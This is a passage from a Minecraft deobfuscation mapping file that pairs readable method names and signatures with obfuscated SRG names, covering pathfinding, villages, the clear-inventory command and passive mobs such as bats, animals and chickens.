(Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z net/minecraft/pathfinding/PathNavigate/func_75493_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z +MD: net/minecraft/pathfinding/PathNavigate/getPathToPos (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigate/func_179680_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigate/getPathToEntityLiving (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigate/func_75494_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigate/tryMoveToEntityLiving (Lnet/minecraft/entity/Entity;D)Z net/minecraft/pathfinding/PathNavigate/func_75497_a (Lnet/minecraft/entity/Entity;D)Z +MD: net/minecraft/pathfinding/PathNavigate/canNavigate ()Z net/minecraft/pathfinding/PathNavigate/func_75485_k ()Z +MD: net/minecraft/pathfinding/PathNavigate/getEntityPosition ()Lnet/minecraft/util/Vec3; net/minecraft/pathfinding/PathNavigate/func_75502_i ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/pathfinding/PathNavigate/removeSunnyPath ()V net/minecraft/pathfinding/PathNavigate/func_75487_m ()V +MD: net/minecraft/pathfinding/PathNavigate/getPathSearchRange ()F net/minecraft/pathfinding/PathNavigate/func_111269_d ()F +MD: net/minecraft/pathfinding/PathNavigate/getPath ()Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigate/func_75505_d ()Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigate/onUpdateNavigation ()V net/minecraft/pathfinding/PathNavigate/func_75501_e ()V +MD: net/minecraft/pathfinding/PathNavigate/pathFollow ()V net/minecraft/pathfinding/PathNavigate/func_75508_h ()V +MD: net/minecraft/pathfinding/PathNavigate/noPath ()Z net/minecraft/pathfinding/PathNavigate/func_75500_f ()Z +MD: net/minecraft/pathfinding/PathNavigate/clearPathEntity ()V net/minecraft/pathfinding/PathNavigate/func_75499_g ()V +MD: net/minecraft/pathfinding/PathNavigate/isInLiquid ()Z net/minecraft/pathfinding/PathNavigate/func_75506_l ()Z +MD: net/minecraft/pathfinding/PathNavigateClimber/getPathToPos (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigateClimber/func_179680_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigateClimber/getPathToEntityLiving (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathEntity; net/minecraft/pathfinding/PathNavigateClimber/func_75494_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathEntity; +MD: net/minecraft/pathfinding/PathNavigateClimber/tryMoveToEntityLiving (Lnet/minecraft/entity/Entity;D)Z net/minecraft/pathfinding/PathNavigateClimber/func_75497_a (Lnet/minecraft/entity/Entity;D)Z +MD: net/minecraft/pathfinding/PathNavigateClimber/onUpdateNavigation ()V net/minecraft/pathfinding/PathNavigateClimber/func_75501_e ()V +MD: net/minecraft/pathfinding/PathNavigateSwimmer/getPathFinder ()Lnet/minecraft/pathfinding/PathFinder; net/minecraft/pathfinding/PathNavigateSwimmer/func_179679_a ()Lnet/minecraft/pathfinding/PathFinder; +MD: net/minecraft/pathfinding/PathNavigateSwimmer/isDirectPathBetweenPoints (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z net/minecraft/pathfinding/PathNavigateSwimmer/func_75493_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;III)Z +MD: net/minecraft/pathfinding/PathNavigateSwimmer/canNavigate ()Z net/minecraft/pathfinding/PathNavigateSwimmer/func_75485_k ()Z +MD: net/minecraft/pathfinding/PathNavigateSwimmer/getEntityPosition ()Lnet/minecraft/util/Vec3; net/minecraft/pathfinding/PathNavigateSwimmer/func_75502_i ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/pathfinding/PathNavigateSwimmer/removeSunnyPath ()V net/minecraft/pathfinding/PathNavigateSwimmer/func_75487_m ()V +MD: net/minecraft/pathfinding/PathNavigateSwimmer/pathFollow ()V net/minecraft/pathfinding/PathNavigateSwimmer/func_75508_h ()V +MD: net/minecraft/command/CommandClearInventory/getRequiredPermissionLevel ()I net/minecraft/command/CommandClearInventory/func_82362_a ()I +MD: net/minecraft/command/CommandClearInventory/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandClearInventory/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandClearInventory/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandClearInventory/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandClearInventory/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandClearInventory/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandClearInventory/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandClearInventory/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandClearInventory/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandClearInventory/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandClearInventory/func_147209_d ()[Ljava/lang/String; net/minecraft/command/CommandClearInventory/func_147209_d ()[Ljava/lang/String; +MD: net/minecraft/entity/ai/EntitySenses/clearSensingCache ()V net/minecraft/entity/ai/EntitySenses/func_75523_a ()V +MD: net/minecraft/entity/ai/EntitySenses/canSee (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/ai/EntitySenses/func_75522_a (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/ai/RandomPositionGenerator/findRandomTarget (Lnet/minecraft/entity/EntityCreature;II)Lnet/minecraft/util/Vec3; net/minecraft/entity/ai/RandomPositionGenerator/func_75463_a (Lnet/minecraft/entity/EntityCreature;II)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/ai/RandomPositionGenerator/findRandomTargetBlockTowards (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/entity/ai/RandomPositionGenerator/func_75464_a (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/ai/RandomPositionGenerator/findRandomTargetBlockAwayFrom (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/entity/ai/RandomPositionGenerator/func_75461_b (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/ai/RandomPositionGenerator/findRandomTargetBlock (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/entity/ai/RandomPositionGenerator/func_75462_c (Lnet/minecraft/entity/EntityCreature;IILnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/village/VillageDoorInfo/resetDoorOpeningRestrictionCounter ()V net/minecraft/village/VillageDoorInfo/func_75466_d ()V +MD: net/minecraft/village/VillageDoorInfo/func_179849_a (I)V net/minecraft/village/VillageDoorInfo/func_179849_a (I)V +MD: net/minecraft/village/VillageDoorInfo/getFaceDirection (II)Lnet/minecraft/util/EnumFacing; net/minecraft/village/VillageDoorInfo/func_179854_a (II)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/village/VillageDoorInfo/getDistanceToDoorBlockSq (Lnet/minecraft/util/BlockPos;)I net/minecraft/village/VillageDoorInfo/func_179848_a (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/village/VillageDoorInfo/setIsDetachedFromVillageFlag (Z)V net/minecraft/village/VillageDoorInfo/func_179853_a (Z)V +MD: net/minecraft/village/VillageDoorInfo/incrementDoorOpeningRestrictionCounter ()V net/minecraft/village/VillageDoorInfo/func_75470_e ()V +MD: net/minecraft/village/VillageDoorInfo/getDistanceSquared (III)I net/minecraft/village/VillageDoorInfo/func_75474_b (III)I +MD: net/minecraft/village/VillageDoorInfo/getDistanceToInsideBlockSq (Lnet/minecraft/util/BlockPos;)I net/minecraft/village/VillageDoorInfo/func_179846_b (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/village/VillageDoorInfo/getDoorOpeningRestrictionCounter ()I net/minecraft/village/VillageDoorInfo/func_75468_f ()I +MD: net/minecraft/village/VillageDoorInfo/func_179850_c (Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/VillageDoorInfo/func_179850_c (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/VillageDoorInfo/getDoorBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/village/VillageDoorInfo/func_179852_d ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/village/VillageDoorInfo/getInsideBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/village/VillageDoorInfo/func_179856_e ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/village/VillageDoorInfo/getInsideOffsetX ()I net/minecraft/village/VillageDoorInfo/func_179847_f ()I +MD: net/minecraft/village/VillageDoorInfo/getInsideOffsetZ ()I net/minecraft/village/VillageDoorInfo/func_179855_g ()I +MD: net/minecraft/village/VillageDoorInfo/getInsidePosY ()I net/minecraft/village/VillageDoorInfo/func_75473_b ()I +MD: net/minecraft/village/VillageDoorInfo/getIsDetachedFromVillageFlag ()Z net/minecraft/village/VillageDoorInfo/func_179851_i ()Z +MD: net/minecraft/village/Village/getCenter ()Lnet/minecraft/util/BlockPos; net/minecraft/village/Village/func_180608_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/village/Village/tick (I)V net/minecraft/village/Village/func_75560_a (I)V +MD: net/minecraft/village/Village/setWorld (Lnet/minecraft/world/World;)V net/minecraft/village/Village/func_82691_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/village/Village/func_179866_a (Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/Village/func_179866_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/Village/func_179862_a (Lnet/minecraft/util/BlockPos;III)Lnet/minecraft/util/Vec3; net/minecraft/village/Village/func_179862_a (Lnet/minecraft/util/BlockPos;III)Lnet/minecraft/util/Vec3; +MD: net/minecraft/village/Village/func_179861_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/Village/func_179861_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/Village/readVillageDataFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/Village/func_82690_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/Village/getReputationForPlayer (Ljava/lang/String;)I net/minecraft/village/Village/func_82684_a (Ljava/lang/String;)I +MD: net/minecraft/village/Village/setReputationForPlayer (Ljava/lang/String;I)I net/minecraft/village/Village/func_82688_a (Ljava/lang/String;I)I +MD: net/minecraft/village/Village/addOrRenewAgressor (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/village/Village/func_75575_a (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/village/Village/addVillageDoorInfo (Lnet/minecraft/village/VillageDoorInfo;)V net/minecraft/village/Village/func_75576_a (Lnet/minecraft/village/VillageDoorInfo;)V +MD: net/minecraft/village/Village/getVillageRadius ()I net/minecraft/village/Village/func_75568_b ()I +MD: net/minecraft/village/Village/setDefaultPlayerReputation (I)V net/minecraft/village/Village/func_82683_b (I)V +MD: net/minecraft/village/Village/getNearestDoor (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; net/minecraft/village/Village/func_179865_b (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; +MD: net/minecraft/village/Village/writeVillageDataToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/Village/func_82689_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/Village/findNearestVillageAggressor (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/entity/EntityLivingBase; net/minecraft/village/Village/func_75571_b (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/village/Village/getNumVillageDoors ()I net/minecraft/village/Village/func_75567_c ()I +MD: net/minecraft/village/Village/getDoorInfo (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; net/minecraft/village/Village/func_179863_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; +MD: net/minecraft/village/Village/getNearestTargetPlayer (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/village/Village/func_82685_c (Lnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/village/Village/getTicksSinceLastDoorAdding ()I net/minecraft/village/Village/func_75561_d ()I +MD: net/minecraft/village/Village/isPlayerReputationTooLow (Ljava/lang/String;)Z net/minecraft/village/Village/func_82687_d (Ljava/lang/String;)Z +MD: net/minecraft/village/Village/getNumVillagers ()I net/minecraft/village/Village/func_75562_e ()I +MD: net/minecraft/village/Village/getExistedDoor (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; net/minecraft/village/Village/func_179864_e (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; +MD: net/minecraft/village/Village/getVillageDoorInfoList ()Ljava/util/List; net/minecraft/village/Village/func_75558_f ()Ljava/util/List; +MD: net/minecraft/village/Village/isWoodDoor (Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/Village/func_179860_f (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/Village/isAnnihilated ()Z net/minecraft/village/Village/func_75566_g ()Z +MD: net/minecraft/village/Village/endMatingSeason ()V net/minecraft/village/Village/func_82692_h ()V +MD: net/minecraft/village/Village/isMatingSeason ()Z net/minecraft/village/Village/func_82686_i ()Z +MD: net/minecraft/village/Village/updateNumIronGolems ()V net/minecraft/village/Village/func_75579_h ()V +MD: net/minecraft/village/Village/updateNumVillagers ()V net/minecraft/village/Village/func_75572_i ()V +MD: net/minecraft/village/Village/removeDeadAndOldAgressors ()V net/minecraft/village/Village/func_75565_j ()V +MD: net/minecraft/village/Village/removeDeadAndOutOfRangeDoors ()V net/minecraft/village/Village/func_75557_k ()V +MD: net/minecraft/village/Village/updateVillageRadiusAndCenter ()V net/minecraft/village/Village/func_75573_l ()V +MD: net/minecraft/village/VillageSiege/tick ()V net/minecraft/village/VillageSiege/func_75528_a ()V +MD: net/minecraft/village/VillageSiege/func_179867_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/Vec3; net/minecraft/village/VillageSiege/func_179867_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/village/VillageSiege/func_75529_b ()Z net/minecraft/village/VillageSiege/func_75529_b ()Z +MD: net/minecraft/village/VillageSiege/spawnZombie ()Z net/minecraft/village/VillageSiege/func_75530_c ()Z +MD: net/minecraft/village/VillageCollection/tick ()V net/minecraft/village/VillageCollection/func_75544_a ()V +MD: net/minecraft/village/VillageCollection/setWorldsForAll (Lnet/minecraft/world/World;)V net/minecraft/village/VillageCollection/func_82566_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/village/VillageCollection/fileNameForProvider (Lnet/minecraft/world/WorldProvider;)Ljava/lang/String; net/minecraft/village/VillageCollection/func_176062_a (Lnet/minecraft/world/WorldProvider;)Ljava/lang/String; +MD: net/minecraft/village/VillageCollection/addToVillagerPositionList (Lnet/minecraft/util/BlockPos;)V net/minecraft/village/VillageCollection/func_176060_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/village/VillageCollection/getNearestVillage (Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/village/Village; net/minecraft/village/VillageCollection/func_176056_a (Lnet/minecraft/util/BlockPos;I)Lnet/minecraft/village/Village; +MD: net/minecraft/village/VillageCollection/countBlocksCanSeeSky (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;I)I net/minecraft/village/VillageCollection/func_176061_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;I)I +MD: net/minecraft/village/VillageCollection/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/VillageCollection/func_76184_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/VillageCollection/getVillageList ()Ljava/util/List; net/minecraft/village/VillageCollection/func_75540_b ()Ljava/util/List; +MD: net/minecraft/village/VillageCollection/addDoorsAround (Lnet/minecraft/util/BlockPos;)V net/minecraft/village/VillageCollection/func_180609_b (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/village/VillageCollection/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/village/VillageCollection/func_76187_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/village/VillageCollection/checkDoorExistence (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; net/minecraft/village/VillageCollection/func_176055_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/village/VillageDoorInfo; +MD: net/minecraft/village/VillageCollection/addToNewDoorsList (Lnet/minecraft/util/BlockPos;)V net/minecraft/village/VillageCollection/func_176059_d (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/village/VillageCollection/removeAnnihilatedVillages ()V net/minecraft/village/VillageCollection/func_75549_c ()V +MD: net/minecraft/village/VillageCollection/positionInList (Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/VillageCollection/func_176057_e (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/VillageCollection/dropOldestVillagerPosition ()V net/minecraft/village/VillageCollection/func_75543_d ()V +MD: net/minecraft/village/VillageCollection/isWoodDoor (Lnet/minecraft/util/BlockPos;)Z net/minecraft/village/VillageCollection/func_176058_f (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/village/VillageCollection/addNewDoorsToVillageOrCreateVillage ()V net/minecraft/village/VillageCollection/func_75545_e ()V +MD: net/minecraft/entity/passive/EntityAmbientCreature/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityAmbientCreature/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityAmbientCreature/allowLeashing ()Z net/minecraft/entity/passive/EntityAmbientCreature/func_110164_bC ()Z +MD: net/minecraft/entity/passive/EntityBat/updateAITasks ()V net/minecraft/entity/passive/EntityBat/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityBat/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/passive/EntityBat/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/passive/EntityBat/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityBat/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityBat/isDateAroundHalloween (Ljava/util/Calendar;)Z net/minecraft/entity/passive/EntityBat/func_175569_a (Ljava/util/Calendar;)Z +MD: net/minecraft/entity/passive/EntityBat/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityBat/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityBat/setIsBatHanging (Z)V net/minecraft/entity/passive/EntityBat/func_82236_f (Z)V +MD: net/minecraft/entity/passive/EntityBat/doesEntityNotTriggerPressurePlate ()Z net/minecraft/entity/passive/EntityBat/func_145773_az ()Z +MD: net/minecraft/entity/passive/EntityBat/getEyeHeight ()F net/minecraft/entity/passive/EntityBat/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityBat/applyEntityAttributes ()V net/minecraft/entity/passive/EntityBat/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityBat/canBePushed ()Z net/minecraft/entity/passive/EntityBat/func_70104_M ()Z +MD: net/minecraft/entity/passive/EntityBat/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityBat/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityBat/getSoundVolume ()F net/minecraft/entity/passive/EntityBat/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntityBat/getSoundPitch ()F net/minecraft/entity/passive/EntityBat/func_70647_i ()F +MD: net/minecraft/entity/passive/EntityBat/collideWithNearbyEntities ()V net/minecraft/entity/passive/EntityBat/func_85033_bc ()V +MD: net/minecraft/entity/passive/EntityBat/getCanSpawnHere ()Z net/minecraft/entity/passive/EntityBat/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntityBat/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityBat/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityBat/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityBat/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityBat/fall (FF)V net/minecraft/entity/passive/EntityBat/func_180430_e (FF)V +MD: net/minecraft/entity/passive/EntityBat/entityInit ()V net/minecraft/entity/passive/EntityBat/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityBat/getIsBatHanging ()Z net/minecraft/entity/passive/EntityBat/func_82235_h ()Z +MD: net/minecraft/entity/passive/EntityBat/collideWithEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/passive/EntityBat/func_82167_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/passive/EntityBat/canTriggerWalking ()Z net/minecraft/entity/passive/EntityBat/func_70041_e_ ()Z +MD: net/minecraft/entity/passive/EntityBat/onUpdate ()V net/minecraft/entity/passive/EntityBat/func_70071_h_ ()V +MD: net/minecraft/entity/passive/EntityBat/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityBat/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityAnimal/canDespawn ()Z net/minecraft/entity/passive/EntityAnimal/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityAnimal/updateAITasks ()V net/minecraft/entity/passive/EntityAnimal/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityAnimal/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityAnimal/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityAnimal/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/passive/EntityAnimal/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/passive/EntityAnimal/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityAnimal/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityAnimal/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityAnimal/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityAnimal/canMateWith (Lnet/minecraft/entity/passive/EntityAnimal;)Z net/minecraft/entity/passive/EntityAnimal/func_70878_b (Lnet/minecraft/entity/passive/EntityAnimal;)Z +MD: net/minecraft/entity/passive/EntityAnimal/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityAnimal/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityAnimal/consumeItemFromStack (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/passive/EntityAnimal/func_175505_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/passive/EntityAnimal/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityAnimal/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityAnimal/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/passive/EntityAnimal/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/passive/EntityAnimal/getCanSpawnHere ()Z net/minecraft/entity/passive/EntityAnimal/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntityAnimal/setInLove (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/passive/EntityAnimal/func_146082_f (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/passive/EntityAnimal/getPlayerInLove ()Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/entity/passive/EntityAnimal/func_146083_cb ()Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/entity/passive/EntityAnimal/isInLove ()Z net/minecraft/entity/passive/EntityAnimal/func_70880_s ()Z +MD: net/minecraft/entity/passive/EntityAnimal/resetInLove ()V net/minecraft/entity/passive/EntityAnimal/func_70875_t ()V +MD: net/minecraft/entity/passive/EntityAnimal/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityAnimal/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityAnimal/onLivingUpdate ()V net/minecraft/entity/passive/EntityAnimal/func_70636_d ()V +MD: net/minecraft/entity/passive/EntityAnimal/getTalkInterval ()I net/minecraft/entity/passive/EntityAnimal/func_70627_aG ()I +MD: net/minecraft/entity/passive/EntityChicken/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityChicken/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityChicken/canDespawn ()Z net/minecraft/entity/passive/EntityChicken/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityChicken/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntityChicken/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntityChicken/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityChicken/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityChicken/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityChicken/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityChicken/getEyeHeight ()F net/minecraft/entity/passive/EntityChicken/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityChicken/applyEntityAttributes ()V net/minecraft/entity/passive/EntityChicken/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityChicken/updateRiderPosition ()V net/minecraft/entity/passive/EntityChicken/func_70043_V ()V +MD: net/minecraft/entity/passive/EntityChicken/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityChicken/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityChicken/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityChicken; net/minecraft/entity/passive/EntityChicken/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityChicken; +MD: net/minecraft/entity/passive/EntityChicken/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/passive/EntityChicken/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/passive/EntityChicken/dropFewItems (ZI)V net/minecraft/entity/passive/EntityChicken/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntityChicken/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityChicken/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityChicken/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityChicken/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityChicken/isChickenJockey ()Z net/minecraft/entity/passive/EntityChicken/func_152116_bZ ()Z +MD: net/minecraft/entity/passive/EntityChicken/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityChicken/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityChicken/fall (FF)V net/minecraft/entity/passive/EntityChicken/func_180430_e (FF)V +MD: net/minecraft/entity/passive/EntityChicken/setChickenJockey (Z)V net/minecraft/entity/passive/EntityChicken/func_152117_i (Z)V +MD: net/minecraft/entity/passive/EntityChicken/onLivingUpdate ()V net/minecraft/entity/passive/EntityChicken/func_70636_d ()V +MD: net/minecraft/entity/passive/EntityChicken/getLivingSound ()Ljava/lang/String; 